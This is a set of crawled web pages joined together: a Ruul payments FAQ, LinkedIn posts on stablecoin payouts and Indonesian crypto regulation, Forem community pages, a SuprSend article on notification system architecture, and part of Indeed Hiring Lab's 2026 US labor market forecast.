140 currencies. PROCESSED $200m+ of Transactions Over $200M successfully processed, backed by an 8-year legacy of secure, reliable transactions trusted by independents worldwide. FREQUENTLY ASKED QUESTIONS Everything you need to know. Get clear, straightforward answers to the most common questions about using Ruul. hey@ruul.io What is Ruul? Ruul is a merchant-of-record platform helping freelancers and creators globally sell services, digital products, subscriptions, and easily get paid. Who is Ruul for? Ruul is designed for freelancers, creators, and independent professionals who want a simple way to sell online and get paid globally. How does Ruul work? Open an account, complete a quick verification (KYC), and link your payout account. Then, start selling through your store or send payment requests to customers instantly. How does pricing work? Signing up is free. There are no subscription or hidden fees. Ruul charges a small commission only when you sell or get paid through the platform. What is a Merchant of Record? A merchant of record is the legal seller responsible for processing payments, handling taxes, and managing compliance for each transaction. What can I sell on Ruul? You can sell services, digital products, license keys, online courses, subscriptions, and digital memberships. How do I get paid on Ruul? Add your preferred bank account, digital wallet, or receive payouts in stablecoins as crypto. Funds arrive within 24 hours after a payout is triggered. OPEN AN ACCOUNT START MAKING MONEY TODAY ruul.space/ Thank you! Your submission has been received! Oops! Something went wrong while submitting the form. Trustpilot Product Payment Requests Sell Services Sell Products Subscriptions Ruul Space Pricing For Businesses Resources Blog About Contact Support Referral Program Affiliate Program Partner Program Tools Invoice Generator NDA Generator Service Agreement Generator Freelancer Hourly Rate Calculator All Rights Reserved © 2025 Terms Of Use Privacy Policy	2026-01-13T08:47:55
https://www.linkedin.com/posts/ruul_were-proud-to-be-featured-in-a-new-article-activity-7399815230689644544-UfZa	We’re proud to be featured in a new article by Emmanuel Nwosu, highlighting how Ruul and MiniPay are working together to remove payment barriers for freelancers in emerging markets. Through our… \| Ruul Agree & Join LinkedIn By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . Skip to main content LinkedIn Top Content People Learning Jobs Games Sign in Create an account Ruul’s Post Ruul 7,110 followers 1mo Report this post We’re proud to be featured in a new article by Emmanuel Nwosu , highlighting how Ruul and MiniPay are working together to remove payment barriers for freelancers in emerging markets. Through our partnership, independents can invoice clients in familiar currencies and receive payouts in dollar-denominated stablecoins, instantly, and with the option to cash out to mobile money, all without needing a foreign bank account. Ruul operates in 190+ markets, and MiniPay’s reach across 60+ countries makes this integration a powerful, compliant bridge between traditional rails and on-chain spending power, especially in regions where legacy remittance channels are slow, costly, or unreliable. Full TechCabal article: https://lnkd.in/dtDFid7x 12 1 Comment Like Comment Share Copy LinkedIn Facebook X Zakaria Boulahya 1mo Report this comment In simple words: Freelancers in tough markets can finally get paid like people in rich countries instantly, in dollars, no bank drama. That’s the whole win, easy, simple and effective. Thanks Ruul Like Reply 1 Reaction 2 Reactions To view or add a comment, sign in More Relevant Posts CryptoniteUAE 713 followers 3w Report this post Milestone for Indonesia: OJK Formalizes Crypto Regulation with 29 Licensed Platforms Indonesia is taking a bold step forward in the global digital asset race. As of December 22, the Financial Services Authority (OJK) has officially released a sanctioned whitelist of 29 licensed crypto platforms, marking a new era of "institutional-grade" oversight for the nation. Established players like Indodax, Tokocrypto (backed by Binance), Upbit, Pintu, Luno, and Pluang are among those officially recognized. This isn't just a list—it’s a complete structural overhaul. Here is why this matters for the ecosystem: 1. A New "Safety First" Infrastructure 🛡️ The OJK has integrated centralized clearing and custody through partners like PT Bursa Komoditi Nusantara and PT Kliring Komoditi Indonesia. This ensures that every trade is backed by a secure, vetted infrastructure, aimed at protecting the 21+ million crypto users in the country. 2. Raising the Bar for Derivatives 📊 Future crypto derivatives now face a high bar: explicit OJK approval, mandatory margin mechanisms, and mandatory consumer knowledge tests. The message is clear: high-risk products require high-level education. 3. The Goal: Stability & Trust 🤝 By moving oversight from the commodities regulator (Bappebti) to the financial regulator (OJK), Indonesia is treating crypto with the same seriousness as traditional financial instruments. This shift is designed to stabilize the market and shield retail investors from the "Wild West" of unregulated exchanges. The Big Debate: Safety vs. Speed The Proponents: Clear rules will invite more institutional capital and create a sustainable, long-term environment. The Critics: Could "overregulation" and mandatory testing slow down the agility and innovation that makes crypto so competitive? What’s your take? Is this level of regulation exactly what the industry needs to go mainstream, or does it risk putting a ceiling on local innovation? Let’s hear your thoughts in the comments below! 👇 #IndonesiaCrypto #OJK #Indodax #Tokocrypto #Web3 #CryptoRegulation #DigitalAssets #BlockchainInnovation #FintechNews 1 1 Comment Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in CryptoNewsZ 96,372 followers 1mo Report this post JUST IN: Robinhood is making a bold entry into Indonesia, moving to acquire brokerage firm Buana Capital and digital asset trader PT Pedagang Aset Kripto. #CryptoNews #Robinhood #Indonesia #FinTech #DigitalAssets 2 Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in Crypto Economy 1,042 followers 2w Report this post Indonesia outlined updated rules for digital asset trading by releasing an official roster of platforms authorized to operate within the country. #Indonesia #Crypto #Regulation #Markets https://lnkd.in/edYD6NbS Indonesia Defines Crypto Trading Boundaries With Authorized Platform List https://crypto-economy.com Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in Jing Hua Lee 1mo Report this post 🇲🇾 \| A New Ringgit-Pegged Stablecoin $RMJDT Asia’s Next Payments King? The Crown Prince of Johor, Tunku Ismail Idris (TMJ), has officially launched $RMJDT a 1:1 MYR-backed stablecoin targeting APAC cross-border trade and foreign investment. Key facts: - Initial supply: 500 million $RMJDT (~USD $115M) - 100% backed by Malaysian Ringgit cash + short-term government bonds - Issued by TMJ-owned Bullish Aim on Malaysia’s national Layer-1 ZETRIX - Launched under regulatory sandbox with filing to Bursa Malaysia Source: https://lnkd.in/gYFj5V8H https://lnkd.in/gBExY9G5 #RMJDT #Malaysia #Stablecoin #Zetrix #Crypto #APAC 6 Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in Condia (formerly, Bendada.com) 4,607 followers 3w Report this post Storipod Partners with Busha to Power Instant Stablecoin Payouts for 150,000+ African Creators. Nigeria's fast-growing creator platform integrates Busha's payment infrastructure to enable seamless fiat-to-crypto rails, eliminating withdrawal barriers for writers across Africa. Read more: https://lnkd.in/dYSfavN8 Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in Indonesia Crypto Network 3,317 followers 3w Report this post 2025 Was a Defining Year for Indonesia’s Crypto Market We identified eight key developments that shaped the country’s crypto industry this year, spanning regulation and taxation to institutional participation and global market entry. Entering Indonesia’s crypto market in 2026? Start with a clear market assessment here. https://lnkd.in/gKqAGbqm 11 Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in cap 270 followers 3w Report this post Renzo is now live as a delegator on Cap. As a delegator, Renzo will enjoy real, consistent yield onchain with enshrined legal protections offchain. https://lnkd.in/ghmS2bie Why delegators are choosing Cap: Cap offers real, recurring yield without compromising holder protection. Institutions pay a premium for secured, transparent onchain liquidity and that premium flows directly to pzETH holders. Restaking has historically been driven by points, emissions, or future promises. Cap flips the model. pzETH is now plugged into live institutional demand, earning market-priced, exogenous yield backed by enforceable guarantees. The result: pzETH evolves from passive → productive capital. With Renzo as issuer, Symbiotic as coordinator, and Cap as the marketplace, this is how onchain primitives will transform finance. 6 1 Comment Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in Crypto Breaking News 3,923 followers 3w Report this post Complete List of Licensed Crypto Traders in Indonesia for 2023 Indonesia’s Crypto Market Clarifies Regulatory Landscape with Official Whitelist Indonesia’s Financial Services Authority (OJK) has published an official whitelist detailing 29 licensed digital asset trading platforms, underscoring the nation’s intensified regulatory approach towards cryptocurrencies. This move aims to establish clarity and security for investors by clearly delineating authorized exchanges and encouraging transactions exclusively through licensed Complete List of Licensed Crypto Traders in Indonesia for 2023 cryptobreaking.com 1 2 Comments Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in TechCabal 86,196 followers 3w Report this post At ETHSafari in Kenya, the Swypt io team showcased how they connect merchants to stablecoin rails to sidestep shilling volatility. The bootstrapped 12-person team has processed over $10 million in volume across 1,000 merchants by offering a decentralised bridge that eliminates the “internal float” traditional processors hold. This week on The BackEnd, see how Swypt leaves M-PESA untouched, removes the “internal float” traditional processors hold, and settles payments in USDT without changing how Kenyans pay. 🔗 Click the link to read 👉 https://lnkd.in/eD9W9XkU 31 Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in Swypt io 1,188 followers 3w Report this post At ETHSafari Kenya, our team shared how Swypt is approaching stablecoin settlement within existing payment ecosystems. Rather than changing how people pay, we focus on enabling merchants to access stablecoin rails in the background, allowing familiar local payment methods to remain intact. Our work reflects a broader shift toward infrastructure-level solutions that address currency volatility while integrating seamlessly with established financial systems. We appreciate the TechCabal team for highlighting our work and contributing to the broader conversation around stablecoin adoption and payment infrastructure in Africa. 🔗 Read the feature 👉 https://lnkd.in/eD9W9XkU TechCabal 86,196 followers 3w At ETHSafari in Kenya, the Swypt io team showcased how they connect merchants to stablecoin rails to sidestep shilling volatility. The bootstrapped 12-person team has processed over $10 million in volume across 1,000 merchants by offering a decentralised bridge that eliminates the “internal float” traditional processors hold. This week on The BackEnd, see how Swypt leaves M-PESA untouched, removes the “internal float” traditional processors hold, and settles payments in USDT without changing how Kenyans pay. 🔗 Click the link to read 👉 https://lnkd.in/eD9W9XkU 9 2 Comments Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in 7,110 followers View Profile Follow Explore content categories Career Productivity Finance Soft Skills & Emotional Intelligence Project Management Education Technology Leadership Ecommerce User Experience Show more Show less LinkedIn © 2026 About Accessibility User Agreement Privacy Policy Cookie Policy Copyright Policy Brand Policy Guest Controls Community Guidelines العربية (Arabic) বাংলা (Bangla) Čeština (Czech) Dansk (Danish) Deutsch (German) Ελληνικά (Greek) English (English) Español (Spanish) فارسی (Persian) Suomi (Finnish) Français (French) हिंदी (Hindi) Magyar (Hungarian) Bahasa Indonesia (Indonesian) Italiano (Italian) עברית (Hebrew) 日本語 (Japanese) 한국어 (Korean) मराठी (Marathi) Bahasa Malaysia (Malay) Nederlands (Dutch) Norsk (Norwegian) ਪੰਜਾਬੀ (Punjabi) Polski (Polish) Português (Portuguese) Română (Romanian) Русский (Russian) Svenska (Swedish) తెలుగు (Telugu) ภาษาไทย (Thai) Tagalog (Tagalog) Türkçe (Turkish) Українська (Ukrainian) Tiếng Việt (Vietnamese) 简体中文 (Chinese (Simplified)) 正體中文 (Chinese (Traditional)) Language Sign in to view more content Create your free account or sign in to continue your search Sign in Welcome back Email or phone Password Show Forgot password? Sign in or By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . New to LinkedIn? Join now or New to LinkedIn? Join now By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy .	2026-01-13T08:47:55
https://forem.com/new/tooling	New Post - Forem Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Forem Close Join the Forem Forem is a community of 3,676,891 amazing members Continue with Apple Continue with Facebook Continue with GitHub Continue with Google Continue with Twitter (X) OR Email Password Remember me Forgot password? By signing in, you are agreeing to our privacy policy , terms of use and code of conduct . New to Forem? Create account . 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — Your community HQ Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a blogging-forward open source social network where we learn from one another Log in Create account	2026-01-13T08:47:55
https://www.suprsend.com/post/designing-a-scalable-notification-service-architecture-as-developers	Designing a Scalable Notification Service Architecture as Developers Product FEATURES Template Engine Powerful template editors for all channels App Inbox Fully customizable inbox for your app & website Analytics Deep data insights on notification performance Logs Real-time notifications logs for all channels Smart Routing Reach users where they are Branding Seamlessly manage multi-brand customization Workflows Craft complex notification workflows Bifrost Run notifications natively on data warehouse Preferences Develop user focused notifications Integrations Integrate any channel and provider within mins Solutions BY USECASES Transactional Real-time alerts like authentication, activity updates Batching & Digest Aggregate multiple alerts into one Collaboration & Action Alerts on cross-user activity Scheduled Notifications One-time or recurring alerts like reminders Multi-tenant Alerts tailored to your customer's preferences Announcement / Newsletters Feature releases, achievements, product & policy updates Pricing Docs Customers Blog Login Get Started For Free Login Sign up Engineering Designing a Scalable Notification Service Architecture as Developers Anjali Arya • September 27, 2024 TABLE OF CONTENTS When building a robust notification system , it's crucial to consider various aspects such as scalability, flexibility, and ease of use. Here's a detailed look at designing a notification service architecture that addresses these key requirements: Here's how the SuprSend notification infrastructure functions and handles more than 1 Billion notification triggers every month. SuprSend notification infrastructure handling 1 billion notification triggers every month ‍ Notification Service Components Send API : Expose an authenticated API endpoint to trigger sending notifications from any backend or microservice. This API should be designed to handle high volumes of requests and scale horizontally. Supported Channels : The notification service should support sending notifications across various channels, such as email, SMS, push notifications, and in-app messages. This allows users to receive notifications through their preferred channels. User Preferences : Provide a way for users to manage their notification preferences, including choosing channels and setting priorities. This ensures that users only receive notifications they find relevant and valuable. Scalability : Design the notification service to scale horizontally to handle increased traffic and support theoretically unlimited scaling. This can be achieved through techniques like load balancing, message queues, and serverless architectures. Notification Service Architecture Load Balancer : Use a load balancer to distribute incoming requests across multiple worker nodes, ensuring high availability and scalability. Message Queue : Implement a message queue to decouple the notification sending process from the main application logic. This allows the system to handle high volumes of notifications without affecting the performance of other components. Worker Nodes : Deploy worker nodes to process messages from the queue and send notifications to the appropriate channels. These worker nodes should be stateless and easily scalable to handle increased traffic. Channel Adapters : Develop channel adapters to handle the specific requirements of each notification channel, such as email, SMS, and push notifications. These adapters should abstract away the complexities of interacting with third-party services and provide a consistent interface for sending notifications. Notification Templates : Store notification templates in a centralized location, such as a database or a content management system. This allows product and design teams to edit the templates without requiring code changes, improving flexibility and reducing development overhead. Notification Service as a SaaS Building a notification service as a SaaS (Software as a Service) solution offers several advantages: Multi-tenancy : A SaaS notification system can support multiple clients or tenants, each with their own set of users and preferences. This allows the service to be used by various organizations or departments within a larger enterprise. Scalability : SaaS platforms are designed to scale automatically based on demand, ensuring that the notification service can handle increased traffic without manual intervention. Ease of Use : A well-designed SaaS notification system should provide a user-friendly interface for managing notifications, preferences, and reports. This makes it easier for product and design teams to configure and monitor the notification service without relying on developers. Cost-effectiveness : By leveraging the economies of scale and shared infrastructure, a SaaS notification service can be more cost-effective than building and maintaining an in-house solution, especially for smaller organizations. Notification Service Infrastructure Cloud-based Infrastructure : Deploy the notification service on a cloud platform, such as AWS, Google Cloud, or Microsoft Azure. Cloud providers offer scalable and reliable infrastructure, allowing you to focus on building the service rather than managing the underlying hardware and software. Serverless Architecture : Consider using a serverless architecture for the notification service, which can simplify the design and reduce costs. Serverless platforms, such as AWS Lambda or Google Cloud Functions, automatically scale and manage the underlying infrastructure, making it easier to build and deploy scalable applications. Monitoring and Observability : Implement robust monitoring and observability tools to track the performance and health of the notification service. This includes monitoring metrics such as request latency, error rates, and message delivery success rates. Use tools like Amazon CloudWatch, Datadog, or Prometheus to collect and visualize these metrics. By following these best practices and leveraging the power of cloud-based infrastructure and serverless architectures, you can build a scalable, flexible, and cost-effective notification service that meets the needs of your users and organization. Share this blog on: Written by: Anjali Arya Product & Analytics, SuprSend Implement a powerful stack for your notifications Get Started For Free Book Demo Company About us Signup Login Integrations Pricing Security Privacy Terms Contact Us Support SuprSend for Startups API Status Sign Up Channels Email SMS Notification Inbox Android Push iOS Push Web Push Xiaomi Push Whatsapp SDK Python SDK Node.js SDK Java SDK Android SDK React Native SDK iOS SDK Flutter SDK Go SDK Resources Documentation Changelog Blogs Write for us SMTP Error Codes SMS Providers Comparisons Email Providers Comparisons SMS Providers Alternatives Join us on Slack We are building a community of developers and product builders from across the globe to make notifications a pleasant experience. © 2025 All rights reserved. SuprStack Inc. By clicking “Accept All Cookies” , you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. View our Privacy Policy for more information. Preferences Deny Accept Privacy Preference Center When you visit websites, they may store or retrieve data in your browser. This storage is often necessary for the basic functionality of the website. The storage may be used for marketing, analytics, and personalization of the site, such as storing your preferences. Privacy is important to us, so you have the option of disabling certain types of storage that may not be necessary for the basic functioning of the website. Blocking categories may impact your experience on the website. Reject all cookies Allow all cookies Manage Consent Preferences by Category Essential Always Active These items are required to enable basic website functionality. Marketing Essential These items are used to deliver advertising that is more relevant to you and your interests. They may also be used to limit the number of times you see an advertisement and measure the effectiveness of advertising campaigns. Advertising networks usually place them with the website operator’s permission. Personalization Essential These items allow the website to remember choices you make (such as your user name, language, or the region you are in) and provide enhanced, more personal features. For example, a website may provide you with local weather reports or traffic news by storing data about your current location. Analytics Essential These items help the website operator understand how its website performs, how visitors interact with the site, and whether there may be technical issues. This storage type usually doesn’t collect information that identifies a visitor. Confirm my preferences and close Get 10% OFF on your next order Subscribe to our newsletter and receive a 10% OFF coupon to use on your next order. Please check your email for your 10% OFF coupon Oops! Something went wrong while submitting the form.	2026-01-13T08:47:55
https://core.forem.com/t/rails	Ruby on Rails - Forem Core Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Forem Core Close Ruby on Rails Follow Hide Ruby on Rails is a popular web framework that happens to power dev.to ❤️ Create Post about #rails Ruby on Rails, or Rails, is a server-side web application framework written in Ruby under the MIT License. It was released in 2005 and powers websites like GitHub, Basecamp, and many others. The framework and community prides itself on developer experience, sensible abstractions and empowering individual developers to accomplish a lot. Older #rails posts 1 2 3 4 5 6 7 8 9 … 75 … 231 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Forem Core — Discussing the core forem open source software project — features, bugs, performance, self-hosting. Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Forem Core © 2016 - 2026. Community building community Log in Create account	2026-01-13T08:47:55
https://forem.com/_402ccbd6e5cb02871506	Kazu - Forem Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Follow User actions Kazu 404 bio not found Joined Joined on Aug 9, 2025 More info about @_402ccbd6e5cb02871506 Badges Writing Debut Awarded for writing and sharing your first DEV post! Continue sharing your work to earn the 4 Week Writing Streak Badge. Got it Close Post 4 posts published Comment 0 comments written Tag 2 tags followed Super Fast Markdown Linting for Go Developers: Meet gomarklint Kazu Kazu Kazu Follow Jan 13 Super Fast Markdown Linting for Go Developers: Meet gomarklint # showdev # go # performance # markdown Comments Add Comment 4 min read Building a Culture of Documentation Quality in CI/CD Kazu Kazu Kazu Follow Oct 28 '25 Building a Culture of Documentation Quality in CI/CD # markdown # cicd # documentation # opensource 1 reaction Comments Add Comment 5 min read Inside gomarklint: Architecture, Rule Engine, and How to Extend It Kazu Kazu Kazu Follow Oct 13 '25 Inside gomarklint: Architecture, Rule Engine, and How to Extend It # programming # go # markdown 2 reactions Comments Add Comment 4 min read Inside gomarklint: Building a High-Performance Markdown Linter in Go Kazu Kazu Kazu Follow Aug 9 '25 Inside gomarklint: Building a High-Performance Markdown Linter in Go # go # markdown # opensource Comments Add Comment 2 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — Your community HQ Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a blogging-forward open source social network where we learn from one another Log in Create account	2026-01-13T08:47:55
https://www.hiringlab.org/2025/11/20/indeed-2026-us-jobs-hiring-trends-report/	Indeed’s 2026 US Jobs & Hiring Trends Report: How to Find Stability in Uncertainty - Indeed Hiring Lab Skip to main content Search United States United States Canada - EN UK \| Ireland France Germany Australia Canada - FR Japan About Policy Partners Presentations Data Share Share Young STEM student in the engineering lab Indeed’s 2026 US Jobs & Hiring Trends Report: How to Find Stability in Uncertainty Big changes to the broad economic picture are unlikely — but that doesn’t mean things won’t change. By Allison Shrivastava & Cory Stahle & Daniel Culbertson & Laura Ullrich & Sneha Puri November 20, 2025 Key takeaways: A series of new economic forecasts from Indeed Hiring Lab suggest that in 2026, job openings are poised to stabilize, but may not grow much; unemployment is likely to rise, but not alarmingly so; and GDP growth looks to remain positive, but somewhat anemic. Sustaining current GDP growth in 2026 may depend on the ability of high-income households to continue to spend at elevated levels. If immigration policy continues on its current path, we can expect labor supply to remain tight in a variety of fields, including construction, hospitality, engineering, and medicine. If hiring remains strong in healthcare, and job creation continues in line with rates observed in recent years, job openings could remain relatively high and unemployment could remain low, especially if conditions improve in other sectors. If the mismatch in skills and experience between the jobs that are available and the workers that are available to fill them persists, hiring is likely to remain stagnant, and unemployment duration is likely to remain long. Federal worker layoffs and funding cuts have yet to meaningfully move the unemployment rate or GDP, but the recent weakening of the labor market and rising “low-hire” environment suggest that pressures are growing. Regional dynamics matter: In 2026, where you live and what you do will matter for your professional prospects at least as much as movements in top-line national trends. Economic and labor market uncertainty is everywhere. The longest federal government shutdown in history has only recently ended, tariff policy remains unsettled, immigration continues to decline, monetary policy is in flux, and the labor market feels distressingly stuck in place. It’s no surprise that the Economic Policy Uncertainty Index hit record levels in 2025. Making matters worse, missing and/or delayed government data releases make assessing true economic conditions more difficult. Difficult, but not impossible. Indeed’s world-class and near-real-time data offers a unique view of the market unavailable anywhere else. Hiring Lab economists have parsed that data extensively for indications of what conditions may look like in 2026 if and when the fog of uncertainty lifts. New this year, Indeed’s proprietary data was combined with dozens of professional forecasts and a deep understanding of historical economic relationships to estimate where GDP growth, the unemployment rate, and job openings are expected to stand at the end of 2026. The data suggest that job openings are poised to stabilize, but may not grow much; the unemployment rate is likely to rise, but not alarmingly so; and GDP growth looks to remain positive, but somewhat anemic. In short, don’t expect much movement one way or another. But there are a variety of factors that will drive the ultimate numbers up or down — including the strength of consumer spending, changes to immigration policy, how concentrated growth is, ongoing changes to federal spending, and regional strengths and weaknesses. Nobody knows exactly how these trends will evolve over the coming year, but we can make some educated assumptions based on what we know today.  This report establishes our consensus, upside, and downside scenario forecasts for 2026 and examines the major trends we tracked throughout 2025, and how they’re likely to shape the year ahead. Scenario planning: How unemployment, labor demand & economic growth could unfold in 2026 Labor demand slowed, but GDP growth was solid. Can it stay that way? Global talent in flux: What 2025’s immigration shifts could mean for hiring in 2026 Non-healthcare sectors are sick. What happens if the illness spreads? Signs of mismatch: When available jobs don’t match available skills Funding freeze, hiring squeeze: The federal factor in 2026 Location, location, location: The regional divide comes into focus Conclusion: Why 2026 will be different, but not unrecognizable Scenario planning: How unemployment, labor demand & economic growth could unfold in 2026 Hiring Lab constructed consensus, upside, and downside scenarios that estimate the unemployment rate and the level of job openings at the end of 2026. These scenarios were informed by Wolters Kluwer’s Blue Chip 2026 GDP growth forecasts, an aggregation of forecasts from economists and financial professionals. The Blue Chip Consensus Scenario is derived from Blue Chip’s November 2025 consensus forecast for 2026 real GDP growth, which averaged 45 economist forecasts. For the Upside Scenario and Downside Scenarios , we use the average of the top ten and bottom ten forecasts for real GDP growth, respectively. It is important to note that these do not represent the best and worst case scenarios for the economy; instead, they are illustrative of slightly more positive and negative outlooks than the consensus average. From these GDP growth forecasts, we then used known historical relationships between economic growth and labor market performance to estimate both the unemployment rate and the number of job postings at year-end 2026. Further details can be found in the methodology section at the end of this report. The Blue Chip consensus forecast for real GDP annual growth in 2026 is currently 1.8%, with the top 10 and bottom 10 forecasts averaging 2.5% and 0.9% growth, respectively. This then translates into estimated unemployment rates ranging from 4.1% to 4.8%, and job postings levels ranging from 6.8 million to 7.4 million at the end of next year. Interestingly, both the current unemployment rate and level of job postings are within this range and close to the consensus scenario. This indicates that, on average, big economic swings are not anticipated by the consensus in 2026. Table titled “Economic scenarios for 2026” forecasts unemployment and job openings using Indeed data using Blue Chip Forecasts of the GDP. Consensus, Upside, and Downside scenarios are given, with the unemployment prediction for 2026 ranging from 4.1% to 4.8%, and job openings ranging from 6.8 million to 7.4 million. The consensus scenario would indicate that the current “low-hire, low-fire” labor market, in which employers are unsettled enough about the economic outlook to punt hiring decisions but not concerned enough to make significant layoffs, is likely to continue.  The upside scenario would indicate a labor market taking a turn for the better, most likely precipitated by a clearing of uncertainty around immigration, tariff and monetary policy, a rebound in consumer sentiment, and further reductions in inflation. This scenario would likely accompany a pickup in the hires and quits rate as firms increase hiring and more workers take advantage of rising opportunities in the labor market to switch roles.  If uncertainty persists and consumer sentiment remains weak, then the downside scenario is more likely. Employers still looking to hire would very likely see a substantial increase in candidate volume due to the decline in job postings. This could be mildly tempered by a drop in the labor force participation rate as workers fall out of a discouraging labor market. Some industries could be hit especially hard. Each of the following dynamics is likely to influence economic conditions to some degree, and each will in turn be shaped by how the broader labor market evolves. How these trends unfold — whether they hold steady, improve, or deteriorate — will help determine which scenario best describes the economy at the end of 2026. Labor demand slowed, but GDP growth was solid. Can it stay that way? Overall hiring demand and the subsequent pace of hiring cooled consistently throughout 2025, leading to slower wage growth, declining labor force participation, and longer job searches for unemployed workers. Indeed’s Job Postings Index (JPI) is a real-time measure of employer demand based on the level of job postings on Indeed at any given time. Readings above 100 indicate that demand is higher than it was prior to the pandemic, and readings below 100 indicate that demand is lower than pre-pandemic levels. On New Year’s Day 2025, JPI was more than 10% higher than pre-pandemic norms (an index reading of 111.7). By the end of October, it had fallen to less than 2% above pre-pandemic levels (an index reading of 101.7). This closely follows the trends reported by the Bureau of Labor Statistics’ (BLS) JOLTS report.  Line graph title “Job openings and postings track each other” shows Indeed Job Postings Index and JOLTS Job Openings (from US Bureau of Labor Statistics data), indexed to January 31, 2020, largely tracking each other from 2020 to 2025. While demand has fallen from a year ago in virtually every professional sector tracked by Indeed, the cooling job market has been uneven, with demand in some sectors falling much more significantly than others. Job seekers looking for roles in fields with relatively high JPI levels, including civil engineering (154.0) and personal care and home health (148.4), will have a far different experience than those seeking work in harder-hit sectors, including media & communications (64.1) and scientific research & development (70.8). 